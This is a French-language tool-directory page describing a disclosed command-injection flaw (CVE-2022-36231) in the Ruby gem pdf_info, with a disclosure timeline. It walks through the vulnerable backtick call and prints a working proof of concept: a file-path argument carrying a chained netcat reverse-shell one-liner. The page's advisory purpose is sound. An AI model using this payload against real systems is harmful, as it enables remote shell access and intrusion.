Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-36231 — pdf_info <= 0.5.3 Injection de commandes système | Kitploit
Outils/GitHubGitHub/affix/cve-2022-36231
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubaffix/cve-2022-36231

CVE-2022-36231

pdf_info <= 0.5.3 Injection de commandes système

Voir le dépôt
53il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-36231

Le gem Ruby pdf_info <= 0.5.3 est vulnérable à une injection de commandes OS lors de l'exécution d'une méthode sur un objet PDF::Info.

Un attaquant utilisant une charge utile spécialement conçue peut exécuter des commandes OS en utilisant le chaînage de commandes.

Analyse de la vulnérabilité

Lors de la création d'un nouvel objet PDF::Info, la méthode initialize est appelée

root@kitploit:~
def initialize(pdf_path)
  @pdf_path = pdf_path
end

Lors de l'initialisation de l'objet, aucune validation n'est effectuée et le chemin fourni par l'utilisateur est utilisé.

Nous pouvons créer un objet PDF::Info et renvoyer les métadonnées d'un PDF avec le code suivant.

root@kitploit:~
#!/usr/bin/env ruby

require 'pdf/info'

info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata

Lorsque nous appelons la méthode metadata sur l'objet PDF::Info, un appel est fait à la méthode process_output avec l'argument passé étant la méthode command.

La méthode command utilise la variable de classe @pdf_info pour exécuter la commande pdfinfo sur le système en utilisant l'extrait de code suivant pour renvoyer la sortie de la commande.

root@kitploit:~
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`

Comme pour la méthode initialize, aucune validation n'est effectuée sur la variable @pdf_path. Cela permet d'utiliser le chaînage de commandes avec ; pour exécuter une commande arbitraire.

root@kitploit:~
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')

pp info.metadata

L'extrait de code ci-dessus exécutera un shell inverse vers 127.0.0.1 sur le port 4444

Shell

Détails de la divulgation

  • 2022-07-20 :: Signalé au vendeur
  • 2022-08-30 :: Suivi avec le vendeur
  • 2022-09-30 :: Demande de CVE
  • 2022-10-26 :: Publication de la vulnérabilité
Télécharger l’outil